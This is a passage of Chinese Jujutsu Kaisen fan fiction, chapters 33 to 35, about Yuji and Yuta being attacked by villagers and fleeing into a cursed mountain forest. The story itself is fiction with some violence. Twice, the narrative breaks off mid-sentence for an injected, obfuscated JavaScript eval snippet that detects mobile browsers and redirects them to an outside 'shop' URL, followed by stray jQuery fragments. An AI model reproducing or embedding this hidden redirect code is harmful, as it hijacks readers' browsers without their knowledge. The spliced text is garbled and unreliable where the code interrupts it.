虎杖悠仁和乙骨忧太在回家的路上看到了在村子里转悠了一整天的灰原雄,他正被一群小孩子围在中间给他们分发着糖果。
“你觉得他今年几岁了?”
乙骨忧太纠正他:“要问‘他今年多大了’才对。看起来至少上高中了吧?十六?”
灰原雄看见了站在远处只是观望着的他们,对着他们招了招手。
“呐,大哥哥你是从城市里来的吗?从东京来吗?”
“还有糖吗?我还想吃!”
“一人一颗哦,没有多余的啦。”灰原雄看见黑发的孩子牵着虎杖悠仁远远地走开了,没来得及为这种无声的拒绝感到低落,很快便被热情的孩子们吸引走了注意力。
抱着已经晾干的衣服回到屋子里,虎杖悠仁今天显然有些太过安静,而乙骨忧太也心不在焉,频频分神。
不论是玩扑克、做游戏还是看课本,虎杖悠仁完全没有办法集中注意力。他趴在桌子上,把玩着手中木制的勾玉,感受硬质的边缘划过指腹,来回来去地摩挲。
其实妈妈也在他过生日的那个月送来了礼物。跟随着相纸和生活费被一起寄过来的是一袋长相奇特的饼干。看起来和紫薯干是一样的颜色,外型像是长着长长指甲的手指,一根饼干的长度比他的手掌都要长。
包装上什么都没写,没有牌子也没写保质期,也就无从看出这些紫红色的饼干究竟是什么口味的了。
“你、你要尝尝吗,悠仁?要不然还是别吃了吧......总感觉很渗人,看起来味道很奇怪。”
虎杖悠仁嗅了嗅,没有闻到什么奇怪的味道,但也没有尝一口的欲望,因为这个饼干长得实在太丑了,简直难以下咽:“我不太想吃诶,妈妈为什么要寄这种东西过来啊?”
他将一根饼干掰开,里面的颜色和外表是一样的紫红色。越来越像紫薯干了,这下虎杖悠仁彻底对它没了兴趣。
那袋饼干被他拿去喂了野鸭,支撑着小鸭子们度过了寒冷的冬天。
乙骨忧太则是在想围绕在灰原雄身上的那股活力满满的气息。棕发少年看起来每天都充满干劲,脸上好像一直挂着明媚的笑容。以前虎杖悠仁也是这样的,但最近乙骨忧太总觉得他笑得没有原先那样无忧无虑。这座村子仿佛吞噬了他们最纯真的快乐,让他们跃出更小的自己所在的躯壳,带着连自己也不知道如何面对的内里继续向前走。
这是,长大吗?
今年四月的时候乙骨忧太就已经到了应该上小学的年纪,他借便利店店主家的电话又一次给父母主动打去了电话,得到的只有他早已在心中闪过无数次的答案。
“......抱歉,忧太,”母亲的声音疲惫到他差点认不出来,“你爸爸他这边......再等一年吧,等到明年我们就能把你接回来了......你在爷爷那里过得还好吗?要记得多吃水果,零花钱不要乱花,好好照顾自己......”
乙骨忧太颔首,听到自己说着安慰母亲的话,直到电话被挂断,听筒里只能传来嘟嘟的声音后,他才慢慢将它放回了座机上。
现在才听到的关心仍旧让他的内心感到阵阵暖意,只是区别在于他能够清醒地知道这样的温暖是有时限的,一旦他回到自己的生活里,现实就会击碎让人沉醉的美梦。
哪怕将家里所有的窗户都打开也无法让夏夜变得更凉快一些,虎杖悠仁打开门廊外的灯,提着小水桶去院子里看菜地。刚开春的时候他们重新整理了这块地方,种上了小番茄,现在长势喜人,有的地方已经能够看到青绿的果实了。
最近虎杖悠仁发现叶子沾上了一些又小又白的虫子,自己处理无果后,只能将病得最厉害的那几株拔除,免得虫害染到其他健康的枝叶上去。
没有什么必须在晚上进行的工作,他只是出来透透气。用小铲子一遍一遍地拍平拔除病倒的植物后留下的坑洞,新填进去的土总是和周围有着明显的色差。
身后的杂物堆里传来窸窸窣窣行走的声音,虎杖悠仁没有拿上手电,看不清在阴影里行动的究竟是野猫还是刺猬。
“喵?”他试探性地叫了一声,没有回应。那应该是刺猬了吧?
为了防止蚊虫进到家里去,他们在门框外加装了纱帘,乙骨忧太从帘子后面钻出,带上了门:“要一起去丢垃圾吗?”
虎杖悠仁丢下手里的铲子:“要!”
在这种温度下,即便是放在室内,西瓜皮也会很快发出黏腻的臭味,还是尽快扔掉比较好。乙骨忧太带好钥匙,拿着手电筒和虎杖悠仁一起向坡下的垃圾桶走去。
这条路上有很多细碎的小石子,有人经过的时候会发出很明显的脚步声。对面的野草地里长满了齐腰高的杂草和野花,原本道路的边缘也逐渐被新生的草叶侵占了地盘,因为无人打理,若来往不够频繁的话这条路总有一天会重新被绿意覆盖吧。
不过对乙骨忧太和虎杖悠仁来说,只要有一条可以让他们回家的路就足够了。
有人打着手电从坡下的村口附近向上走来,和他们的手电筒灯光迎面撞上,虎杖悠仁被过于刺眼的亮光刺激得微微眯起眼睛。
来人的脸被藏在白色的灯光后,看不清面容,只能看到他穿着一身西服。衣服和穿着已经能够说明所有的问题,这个人绝对不是村里人,而这几天能在村里自由活动的就只有灰原雄和他的同伴了。
“住在这栋红房子里的老人是你们的监护人吧?你们这是要做什么去?天黑之后尽量不要在外面单独行动比较好哦。”
辅助监督终于将手电筒挪开,心想怎么会有老人放心孩子们在夜晚独自外出的呢?
在虎杖悠仁表示他们正要去扔垃圾之后,辅助监督仍是操心地叮嘱他们赶快回家。
“你们的爷爷他在家吧?我有事情想要和他商量一下。”辅助监督看到了从红房子里散发出来的暖黄色灯光,再三确认老人没有出门后,他决定先拜访一下乙骨忧太的家里人。
灰原雄今年刚刚升到了二年级,他说这个叫乙骨忧太的黑发孩子有成为咒术师的天赋,他能看到那孩子身上已经拥有了咒力。发掘拥有咒术天赋的年轻人本就是辅助监督的工作之一,虽然乙骨忧太看起来距离能够前往咒术高专系统性学习咒术的年纪还有好多年,但提前让他和他的家人对咒术界有一个大致的了解也很重要。
非咒术世家出生的、拥有咒术天赋的孩子通常对自己的力量没有具体的认知,在“怪物”横行的世界中感到孤独无依,也极有可能利用自己的力量造成无法挽回的伤害。辅助监督想要避免他们误入歧途,成为用诅咒谋生的诅咒师。
这两个孩子会在神社帮工,担任宫司一职的男人能够看见诅咒,却不了解咒灵与咒术,身上的咒力量连辅助监督都不如,若是放在咒术界来说的话,就是连进入“窗”都很难通过考核的类型。
但宫司将他们带入神社,还是一定程度上保护了他们。
乙骨忧太没有阻止辅助监督,看着他推开满是锈迹的院门,敲响了红房子的房门。
刚刚虎杖悠仁已经说过了,“和他们直接说明也没问题”之类的,可辅助监督只是一笑而过,看上去完全把他们当作什么都不懂的小孩,不愿意将他们放在对等的地位上沟通,连向他们说明解释的意愿都没有。
哪怕粉发孩子强调“你不说怎么知道我们能不能听懂呢”,可那人依旧轻视了他们的年龄。
人和人的沟通就是这样一件麻烦事。乙骨忧太扯了扯虎杖悠仁的手臂,那孩子心领神会,不再强求。
这下辅助监督在红房子门前吃到闭门羹还是彻底将他们的秘密暴露给乙骨爷爷......无所谓,那个固执又死板的老人根本不会相信的。
作为承担了山王祭最重要的工作之一的人,胆敢深入森林,在神的地盘上做“那种事”......老人连神佛都不相信,诅咒和咒灵之说也根本不可能打动他。
丢掉垃圾,乙骨忧太和虎杖悠仁径直走过红房子所在的院子,回到了自己家。
没过多久,隔壁院门被推开的吱呀声传了过来,随后便是皮鞋碾压着碎石匆匆远去的脚步声。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378172|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
一夜无梦,不知是不是因为他们都有些心思沉重,醒得比往常要更早一些。
去了神社,他们才听说昨晚在村北边发生了一件事。
灰原雄试图进入森林,但是和住在森林边的村民发生了冲突。
“他说看到有孩子跑进了森林里,但是家家户户都没有孩子走失,”巫女忧心忡忡地和他们形容着昨晚的情况,“难道他看到的又是那孩子?明明最近一直都很安静,结果他一来就闹出了这样的动静......很难说村里的大家会不会又产生什么不好的想法。”
“怪不得。”今早经过巨木附近的时候,松下的父亲、那个敌视着他们的秃顶男人又向他们露出了难以形容的眼神,蔓延在其中的怨怼极易让人回到半年前的那个寒冬。
虎杖悠仁对这样的视线极为敏感,他们已经极力避开村里人,可似乎对他们的排挤与愤恨还是难以被时间消解。
这简直太可怕了。就像没有地基的土地上盖起了稳固的高楼大厦,源自捕风捉影的仇恨竟然能够战胜时间与真理,仿佛那不断燃烧的火焰里总有崭新的薪柴填充进去。
被里香打伤之后,从秃顶男人口中传出的有关怪物、灾祸之类的话也理所当然地变成了流言蜚语,而在这样的小村子里,流言蜚语就是事实。
因为乙骨忧太和虎杖悠仁的主动回避,他们并不知道自己在其他人口中已经变成了真正的怪物。相安无事的时间里,他们尚能够和平共处,而一旦天平脆弱的平衡遭到破坏,这样的安稳日子将一去不复返。
不满与一成不变的日子被打破的恐惧已经积蓄了太久,诅咒的火焰翻滚着寻找突破口,乙骨忧太和虎杖悠仁自然就成为了最薄弱的那个地方,几乎只能眼睁睁地看着滚烫的岩浆冲破地表,将周围炸得遍体鳞伤。
真是好像还在梦中没有醒来一样,虎杖悠仁看着围在院子周围的人群,脑海中不停地闪过种种画面。他还记得他们蜂拥在中美家门口手举果实的模样,也记得他们将中美的哥哥堵在院子中审判,记得秃顶男人咄咄逼人的诅咒,而今这群人终究将尖锐的长枪对准了他们。
“宫司怎么会选你们作为继承人?!我绝对不会认可的!没准就是因为神明对你们不满,才让我这半年过得这样不顺!!”
“往年山王祭后都是丰收的日子,偏偏今年田里的作物枯死了大半,旱到现在都没有下雨!!”
“肯定是你们给中美吃的果子有问题!不然的话怎么可能是现在这副模样?!”
乙骨忧太已经完全放弃思考这些人的嘴巴里究竟一张一合地在说着些什么了。回来生活就是一场彻头彻尾的错误,果真应该和悠仁一起留在城市里的。他无比真实地后悔着,为他当初自私的选择而感到懊恼。果然,与咒灵相比,还是人类更可怕一点吧?
人群叫嚣着,但乙骨忧太什么都听不到了。耳鸣一直在持续,仿佛有人在他的脑袋里按下了静音键。
曾经想要和人产生联结的想法,走到现在也变得无法看得清晰,他的视线一寸寸划过那些狰狞的面庞,仿佛看见了一张张魔鬼的脸。
选择性出现的虔诚信仰与狂热崇拜在这一刻完全爆发了出来,他们口中高喊着想要让神明降下惩罚,驱散由他们带给村子的不幸,祈求盘踞在山中的存在能够赐予他们真正的幸福。
人们总是对大多数信奉的正确深信不疑。或者说,人们总是更相信自己。虎杖悠仁早早地明白这个道理,毕竟连爷爷都不愿意相信他能够看到那些咒灵,但即便如此他也不觉得爷爷是对的。
因为他能够看到,所以咒灵必然是真实存在的。
而恶意可以是毫无理由的。
虎杖悠仁现在打心底里觉得无所谓,他和乙骨忧太既没有祓除在村子里作乱的咒灵,也没有办法让所有人都看见咒灵,所以这里的人不相信他们的话也是自然的。只要将他们视作小猫小狗,看成与自己语言不通的、别的什么东西就不会那样难受了。
毕竟无法沟通嘛,所以无法相互理解也理所当然。
这样想就不会感到困扰了。
保护乙骨忧太和里香,这才是现在最正确的、最重要的事。
——
灰原雄从北边的森林里出来和辅助监督汇合的时候,遇到了跑得上气不接下气来找他们的神社工作人员。
“有一大群人冲着红房子那边去了,”神职人员喘着气说,“宫司他们被堵在了外面,请您也赶快过去吧!”
灰原雄刚刚在森林里找到了伪装成孩童模样的咒灵,可是似乎与报告中提到的有所出入,那只是一只普通的二级咒灵,并非更棘手的假想怨灵。将之祓除后,灰原雄正准备向辅助监督汇报,接着就听闻了村民们聚集在红房子附近讨伐“怪物”的事情。
这怎么可能呢?扰乱村子的罪魁祸首已经被他解决掉了,而且住在红房子附近的不正是那两个孩子吗?!
他还是去晚了一步。
34. 第 34 章
灰原雄赶到村子南边的时候,不可置信地看着眼前的景象。人们东倒西歪地瘫在附近的地面上,仍能活动的人则相互搀扶着,爬到倒地不起的人身边呼唤着他们。有新鲜的血迹浸湿了满是碎石的土地,哀嚎与咒骂的声音不绝于耳。
刚刚升入高专二年级的年轻咒术师彻底慌了神,除了这宛如事故现场的惨像之外,他还能看到更多的信息——浓厚的、不可忽视的、满地的咒力残秽。
仅仅是稍微靠近一些就能感受到从残秽中流露出来的诅咒之力,带着疯狂的尖啸向灰原雄的方向扑了过来,让他不寒而栗,在炙热的盛夏升起满身冷汗。
这种感觉,就像是遇到了一级......不,甚至是特级也说不定!
“神明大人啊!!求您让森林吞噬掉那两个怪物吧!!”一个秃顶的男人对着森林的方向磕着头,高声喊道。他的行为引起一些仍能自由行动的人的跟随,一时之间向神明祈愿的声音此起彼伏。
灰原雄从周围人的只言片语中拼凑出了事情的现状。那两个孩子打伤了人,在他们还击的时候突然被一股“看不见”的力量击倒,没有人能从怪异的力量中幸免于难。而乙骨忧太与虎杖悠仁就趁着这个间隙跑入了森林。
辅助监督早就开始试图联系总部,灰原雄在进入森林追上那两个孩子和留在原地处理众多伤者之间犹豫着。他听到有人提及自己看见了一个巨大的白色怪物,在他的追问之下,他们才说在打伤了粉发孩子之后,那个白色的怪物就开始发狂了。
咚。
灰原雄骤然停下了动作,抬头望向山顶的方向。那里是森林的深处,藏在层层树影之下。
耳边是村民呼喊神明的声音,让人恍若置身于什么信徒们虔诚的集会之中,而灰原雄只觉得后背发凉。
“......请不要再说了!赶快带着受伤的人前往诊所!请不要再干这种事了!!”
他的直觉给出了答案,但他根本没有时间细细思索,凭借本能开始阻止那些跪在地上磕头的村民。
“宫司先生!请你赶快阻止他们!不能再说了,这才是真正的诅咒——”
咚咚、咚咚。
“滚开外乡人!!你以为是谁保佑村子这么多年的啊?!只有——”
从人类诞生起便相伴而生,直至现世仍旧沉积蔓延的诅咒的根源诞生自人类的负面情绪。所有人都会假想的恐怖对象即便从不曾真正存在,也会依照假想的力量,以人们心中的形象诞生于世。
在这座村子里存在着某种矛盾。
人们是如此信任着保佑自己的神明,却任由恐怖与混沌的假想怨灵从自己的信仰中诞生......这大概是终其一生都无法彻底解明的问题吧。
乙骨忧太跟在里香的身后向前跑着。
高大的身躯替他破开障碍重重的前路,从密集的枝叶中开辟出一条路来。他们已经深入森林,这里不止那些高耸入云的笔挺树木,低矮的灌木、附着在地面上的苔藓、随处可见的枯枝断木变成了一张张大网,想要将误入此处的闯入者们推离出去。
但是乙骨忧太绝不可能再后退。
尽管有里香开路,他裸露在外的皮肤也很快布满了划痕。他只觉得脸上痒痒的,全然没有注意到那些细微的划痕正在缓缓愈合,又在彻底消失后被抽打在脸上的枝条划出新的痕迹。
“......忧太?里香,已经可以了,放我下来吧!”
虎杖悠仁的声音从前方传来,他被白色的咒灵护在怀里,里香的神奇魔法治愈了他头上的伤口,现在只有已经快要风干的血迹残留在额头上。
看似是里香走在前面,实则是乙骨忧太一直在向前走,不肯停下来,似乎只有这样才能让他们彻底远离那个不正常的村落。
虎杖悠仁爬上了里香的肩膀,搂着它的脖子向后看到了眼中空荡荡的乙骨忧太。他被颠得有些反胃,也可能是刚才脑袋受伤造成的后遗症还没有完全消失,虎杖悠仁忍着不适又叫起乙骨忧太的名字。
一连呼唤了四五声,乙骨忧太才逐渐回过神来。
永无止境的前行停了下来,虎杖悠仁也终于得以有了喘息的空隙。他从里香的身上跳了下来,不知道脚下踩断了什么东西,一脚深一脚浅地向前,抓住了乙骨忧太的肩膀。
他晃了晃,担忧地说:“忧太?忧太!有里香在,我已经没事了!”
乙骨忧太甩甩头,他们就像是被吞入了森林的体内,这里的空气潮湿又阴冷,四周弥漫着雾气,将更远处的树影化作朦朦胧胧的纱。鸟儿和虫子的鸣叫声是那样清晰,除此以外还能听到密密麻麻的杂音,像是每时每刻都有脆弱的枝干被折断、水流的声音忽近忽远。
“我们现在该怎么办?”半晌,乙骨忧太终于找回了自己的语言能力,他既是在问虎杖悠仁,亦是在问自己。
里香还在向着森林的某个方向发出阵阵低吼,不安地围在他们的身边,不肯回到影子里。他纵容它伤害了其他人,但是当那些人手中的棍棒落在虎杖悠仁身上时,他根本无法控制自己的愤怒。
他终于知道那些时时刻刻堵在他胸口的东西究竟是什么了。为什么是我?为什么要这样对我?我明明不想这么做,为什么所有东西都在逼我做出选择?那些都是一点就炸的诅咒之言,它们一直都藏在他的胸口,而今不过是一口气全部爆发了出来......冲向了那些伤害他们的人,也将他们自己的生活炸得稀巴烂。
虎杖悠仁的手从他肩膀上滑落至手腕,热乎乎的温度覆在皮肤上,拉回了一些属于夏天的感觉:“天快黑了,我们得找到山洞之类的地方过夜才行!”
他转过头,提高了一些声音:“里香,能拜托你吗?里香?”
只是拔高的声音中带着的颤抖暴露了他的不安,却又被他全部吞了回去。里香如他所愿,开始向周围移动,而逐渐降落的太阳似乎早早地就将此地遗忘,黑暗比寻常时间更早地降临。
虎杖悠仁拉着乙骨忧太跟在里香的身后,没再说其他的话。
没关系的。他这样安慰着自己,他和忧太以后可是要去旅行的,野外生存当然是必修课,不过是在没有充足准备的情况下提前体验一下罢了......他如此安慰着自己,手却紧紧握着身后人的手腕,一点也不敢放松。
没关系的。等到明天早上天亮之后,他们可以偷偷回到家拿走所有的行李,去其他的地方。反正迟早都是要离开的,提前开始旅行也不错,如果真的没有办法了的话,他们还可以去找妈妈。他还记得妈妈留给他的那个公寓的地址。
“抱歉,悠仁,”乙骨忧太的声音从身后传来,他们走得磕磕绊绊,森林表达了它的不喜,“我把所有的事情搞砸了。”
“不,不!”
虎杖悠仁的背影反而愈发坚定了起来。
“我觉得那不是能被用‘是谁的错’来简单回答的问题。”
现在最重要的是找到一处庇护所。虎杖悠仁前进的时候,频频扭头望向山顶的方向。乙骨忧太看起来并没有留意到那边的异样,但是虎杖悠仁只觉得汗毛倒竖。雾气打湿了衣服,让身体覆满了寒意。
绝对不能靠近那边。
里香找到了一处洞穴,虎杖悠仁不知道他们究竟在什么方位,山洞里黑漆漆的,洞口比较靠下,被藤蔓和枝条遮得严严实实。虎杖悠仁捡了一块石头向洞里扔了进去,和乙骨忧太一起躲在了旁边,静静听着石头落地后从山洞里传出的回声。
听起来没有其他居住在洞穴中的生物会和他们分享这个临时庇护所,比如野猪之类的,但是肯定有很多虫子,更靠近洞穴深处的地方说不定还会有蝙蝠。不过只要能让他们度过今夜就足够了,他们只会在洞口附近休息。
里面是真正的伸手不见五指,再皎洁明亮的月光也没办法驱散洞里的黑暗,虎杖悠仁拽起乙骨忧太:“如果怕黑的话就不要睁眼了,忧太。”
“......我才不......”
他只是有些疲惫,累到连说话都觉得有什么东西拽着他向下坠。
他们什么都没带,里香这个时候也不知道跑去哪里了,虎杖悠仁摸索着找到了一处比较平坦的地方,两个孩子就这样靠在洞穴的墙壁上,相互依偎着汲取温度。
森林里的夜晚温度骤降,乙骨忧太几乎下意识地贴上了身边的热源,缓解头痛。
“忧太得好好睡一觉。”虎杖悠仁说话时呼出的热气打在了他露在外面的手臂上,乙骨忧太竟然真的有些昏昏欲睡,半梦半醒。
黑暗、狭窄的地方在某些情况下的确能够给予他很强的安全感,因为空间的边界触手可及,让他不必恐惧来自更远处的未知,宛若诞生前蜷缩于母体中时被包裹的温暖,这是他最放松的时候。
什么都看不见的话,就不必去想那些烦心事。
虎杖悠仁听着耳边的呼吸逐渐变得平缓,知道乙骨忧太已经睡着了。至少他不再像是被他牵着走的时候那样苍白又急促地呼吸着,手脚都打着颤。在自己因为脑袋上的伤而昏厥的时间里,乙骨忧太让里香带着他们已经走了太远。
在森林里长距离行走已经让黑发的孩子精疲力尽,而他本人居然并没有意识到他的身体已经接近透支。
这也是虎杖悠仁说什么都要坚持必须找到一个比较安全的地方让乙骨忧太好好休息的原因.......哪怕山上的那个东西一直在散发着邪恶的气息,时刻尖叫着的危机感还是败给了休息一晚的想法,这也导致虎杖悠仁此刻根本无法入眠。
他用长木棍将洞口的植物拨了回去,现在听不到里香的声音,不知道它还在附近游荡又或者已经回到了影子里。
森林、夜晚、黑暗。这让他想起去年电视新闻报道里在北海道七饭町山上失踪的男孩,最后他似乎是在旁边的演习场里被发现的吧?那个时候大家都说那是“奇迹”。
“......”
祈本里香父亲的尸体会被发现吗?已经过去一年了,它还在井底吗?
虎杖悠仁震惊地发现自己已经不再主动逃避回想那个风雨交加的夜晚,他、乙骨忧太和祈本里香共同犯下的“罪行”。如果
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378173|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是现在的自己,他会怎么做呢?
什么才是正确的事?
他还是无法给出答案。
不知何时,周围的黑暗似乎连虫鸣都一并吞噬了,虎杖悠仁听不到一点来自自然的声音。除了他和乙骨忧太的呼吸声,再没有其他属于活物的声响。
他捂住了自己的嘴巴,一动也不敢动。
虎杖悠仁其实好奇过每天晚上究竟是他先睡着还是乙骨忧太先睡过去。不过这个话题几乎都以乙骨忧太的说法为标准答案,因为据黑发孩子描述,虎杖悠仁的睡相实在不太乖巧,几乎每晚在熟睡后乙骨忧太都必须重新给他调整被子才能确保他第二天早上醒来不会连打几个喷嚏,然后发现自己出现了感冒的症状或者因为腹部着凉而拉肚子。
乙骨忧太睡得很熟,虎杖悠仁想要捂住他嘴巴的手停留在了他的脸前,手掌心还能感受到他呼吸时带起的热气,很快令皮肤变得湿漉漉的,泛着凉。
他什么都看不见,眼睛却在不停地瞟向洞口的方向。
有什么东西正在移动。好似整座山都在震颤着,每一次跳动都是某个存在落下步伐的时机,地面下有轰隆隆的声音传来,顶替掉了自然中万物的声音。
虎杖悠仁从来没在乙骨忧太身上以外的东西上感受到这么澎湃的力量。哪怕是在旧村遇到过的所有咒灵当中也没有任何一只能够与其相提并论,即便他每天都和乙骨忧太待在一块,理应对这种气息并不陌生,可他现在依旧在为自己感受到的气息而战栗着。
大概是因为围绕着乙骨忧太的力量锋利但包容,而那东西只能让虎杖悠仁感受到令人窒息的邪恶。
这座山的主人向着某个方向离开了,祂渐行渐远,可那惊心动魄的脚步声哪怕相隔百米也依旧姗姗传到了虎杖悠仁的耳朵里。
又过了很久很久,虎杖悠仁手臂发酸,在确认周围的声音恢复正常后,他这才放下双臂,小心地大口呼吸着。
哪怕他再如何年幼、再如何想要装作迟钝也能想明白,被村民们当成神明一样祭祀的山神,其实就是一只实力强大的咒灵。因为别的咒灵害怕它的力量,所以要么在诞生后就匆忙逃跑,要么根本不敢靠近。
只不过,它应该是刚刚醒来吧?从前像中美一样被选作祭品的孩子们,向森林更深处走去的时候,究竟有没有见到它的真面目呢?见到了的话,会被吃掉吗?
成功离开森林的宫司也见到它了吗?
那个绕着巨木都走得跌跌撞撞的女孩——用黑布蒙上她的眼睛是因为入夜后的森林会让人完全失去视野——她又走到了哪里?
虎杖悠仁被生理性的困倦与心理的疲惫击溃,歪着头靠在了乙骨忧太的脑袋上,昏昏沉沉地睡了过去。
第二天他醒过来的时候,感觉放在肩膀上的头颅沉得厉害,他伸手摸了摸乙骨忧太的额头,果不其然又烫得能够泡开面饼了。
“忧太,忧太?”拍了拍黑发孩子的脸颊,虎杖悠仁发现根本叫不醒他。
没办法,他只能呼唤里香。
从影子里冒出来的白色咒灵将狭小的山洞挤得满满当当,它抱住了乙骨忧太,那股神奇的力量又开始运转了起来。趁着里香给乙骨忧太治疗的期间,虎杖悠仁借着天光仔细打量了一下他们所在的山洞。
这个山洞比昨晚他预想得更深,虽然入口狭窄,但能够明显看到里面还有一片不小的空间,仔细听的话还能隐约听到水流声。虎杖悠仁的眼睛已经适应了黑暗,他向里走了两步,探头望向更深处。
他的眼睛被附着在什么东西上的“光”吸住了,那是同样散发在乙骨忧太、里香甚至某些咒灵身上的“光”。它们轻轻摇曳着,像是向天空滴落的水滴一样,一点、一点地向上飘去,一个不大不小的光团正在半空中上下浮动。
“......”
虎杖悠仁吸了一口气,回头看了看还没有醒过来的乙骨忧太,又将头掰了回来。
“............”
他不知道该说什么,也不知道该做什么。
这是虎杖悠仁第一次见到诅咒诞生的过程,没有人将这个过程当成某种知识教授给他,事实就这样真实、毫不遮掩、赤裸裸地摆在了他的眼前。
“......”
他又回头看了看里香,随后蹲了下来,将脸埋进了双手。
他们已经和这片土地融为了一体,散发着和自然同样的气味。陈旧、略带腐朽,却没有令人作呕的恶臭。
“............”
求求你们,不要像里香一样被困在这里了。走吧,离开这里,去哪里都好,离这个山洞,离开这座森林吧。
躺在这里的只是这几十年里偶然进入这个洞穴的几个孩子,他们怀着怎样的心情迎接自己的死亡、承认自己受到了欺骗、又或者终于明白自己心甘情愿的献祭只是一场荒唐事呢?
觉得有人需要为此付出代价,觉得有人做了错误的事,觉得有人应当受到惩罚......对虎杖悠仁自己来说,这样的想法可以是正确的吗?
35. 第 35 章
有松鼠在树枝间跳跃,偶尔停下来左右嗅嗅,机敏地听着周围的响动。
枯枝被踩断的声音惊动了它,受惊的松鼠举着蓬松的大尾巴三两下跳走了,消失在了茂密的枝叶间。
森林里依旧潮湿到让人觉得有些无法呼吸,虎杖悠仁用长木棍在身前的区域扫着,企图通过这种方法吓退藏在暗处的蛇类和其他生物。他们只穿着短袖短裤,裸露的皮肤上还留着被蚊虫和蚂蟥叮咬过的痕迹,不过有里香在,伤口没有肿起来或者引发感染,不至于血流不止。
闷热和高温让他们的体力迅速流失,入目所及的景象千篇一律,各种各样的绿构成了这座蒸笼一样的迷宫,消磨着他们的肉|体与灵魂。怪不得除了宫司以外从来没有孩子能够从这里走出去。
乙骨忧太用一根坚韧的藤蔓绑住了他和虎杖悠仁的手腕,防止他们在森林里走散。
乍一看下他们根本不可能走散,可这样清晰的视野只是假象。这里满是比他们还要高的灌木与枝叶,视线的死角极多,而且远方看似清晰,实则满是雾气。他不是没想过让里香带着他们飞到树冠之上,提高视野范围来寻找方向,但上去后很快就放弃了这个想法。
氤氲的白气像是薄纱一样罩在了森林上,他们仿佛置身于云海之中,看不清远处。
他们只能沿着山体的走势向山下走,因为分不清哪些果子可以吃,所以他们已经很久没有进食,也找不到能够入口的水源。
乙骨忧太扯着自己的衣服,布料已经变得湿漉漉的,黏在皮肤上。
“悠仁,”他叫了一声,走在前面的孩子停了下来,“稍微休息一下吧。”
他们攀上了一根粗壮的枯木,树干的纹路之间长着很多小蘑菇,黄色的伞盖柔软嫩滑,一排排的看着很可爱。
虎杖悠仁搓掉手掌上不知道什么时候沾上的干泥巴:“森林好可怕啊。明明在外面的时候没看出来里面有这么大的雾,从这里也看不见太阳......”
乙骨忧太沉默了一小会儿,说:“和城市里的山一点也不一样。”
虎杖悠仁立刻反应过来他为什么会这么想。
“......有的时候我真的觉得自己很糟糕。”乙骨忧太双手抱膝,沉闷地说。
这种感觉一直如影随形。
虎杖悠仁不知道怎么安慰他,因为偶尔他也会这么想自己。
“忧太,”鼻腔被枯木的味道填满,虎杖悠仁同样闷声闷气地说,“那个时候我们做错了吗?”
漆黑的眼珠从他的身体表面一扫而过,他却仿佛能够感觉到视线留下的重量。
“明明是悠仁自己说的......不能用‘那是谁的错’来回答问题。”
乙骨忧太的眼睛逐渐亮了起来,随即用一种不容置喙、命令般的语气说道:“不要再去想那件事了,悠仁。忘了它吧,我们重新开始。”
虎杖悠仁攥着项链上的木刻勾玉,沉默着点了点头。
乙骨忧太勉强笑了笑,再一次试图叫里香出来。然而里香第一次没有听他的话,躲在影子里不肯出来,所以他们只能继续步行向前。很快乙骨忧太便确信他们彻底迷路了,因为没有里香也看不见太阳,他们只能凭感觉前进。
虎杖悠仁的肚子已经饿到叫不动了,开始它咕咕叫着的时候他还会捂着肚子试图掩盖那响亮的声音,但是现在它只是一抽一抽地痛着。他能感受到胃空空如也,瘪瘪的。
在森林里迷路的第二个晚上,他们爬上了一棵树,谁也没敢睡觉。
第三天他们遇到了一条小溪,并且开始沿着这条溪流下游的方向前进。他们开始捡各种野果饱腹,哪怕虎杖悠仁看着无处不在的野菇直流口水,乙骨忧太也坚决不允许他把那些小巧却可能致命的小东西们往嘴里塞。
没有火,就算他们能从河里捡到田螺和小鱼小虾也没办法将它们弄熟。
虎杖悠仁将脚放在溪流里,手里捏着一条蹦蹦跳跳的河虾的虾尾,语气飘飘忽忽地说:“忧太,其实我觉得好像生吃的话也没什么问题,它看起来好香......”
乙骨忧太轻轻敲了一下他的头:“不行呐,生吃的话如果拉肚子会很难办。”
“......可我已经两天没有上厕所了。”虎杖悠仁松开手,让河虾跳回水里。看着水面的倒影,他觉得自己也像扭曲的影子一样变得轻飘飘的。
晚上没有办法赶路,也不敢睡觉,所以他们通常会在天蒙蒙亮的时候才轮流睡一会儿。这样只能让他们勉强恢复一些力气,很快两个孩子的眼睛下面都浮起了巨大的黑眼圈,脸颊上的肉也肉眼可见地消了下去。
“沿着溪流的方向走,一定能够走出去的。”乙骨忧太只能这样安慰他。
溪流经过的地方比较宽敞,今天里香终于愿意出来了,带着他们沿着水源向下走。虎杖悠仁窝在里香的肩膀上睡着了,白色的咒灵曲起手臂护着他。
乙骨忧太还保持着清醒,里香前进的时候粗暴地扯断一切阻拦在眼前的东西,这么明显的动静倒是让一些机敏的动物远离了他们。乙骨忧太拍了拍里香:“我们去上面看看吧。”
白色的咒灵带着他冲破了树冠,他现在已经可以毫不恐惧地向下看,远处的景象仍旧被云雾笼罩着,可乙骨忧太觉得自己看到了一个红红的东西。
他兴奋地笑了起来,那肯定是爷爷那栋房子的红色房顶。
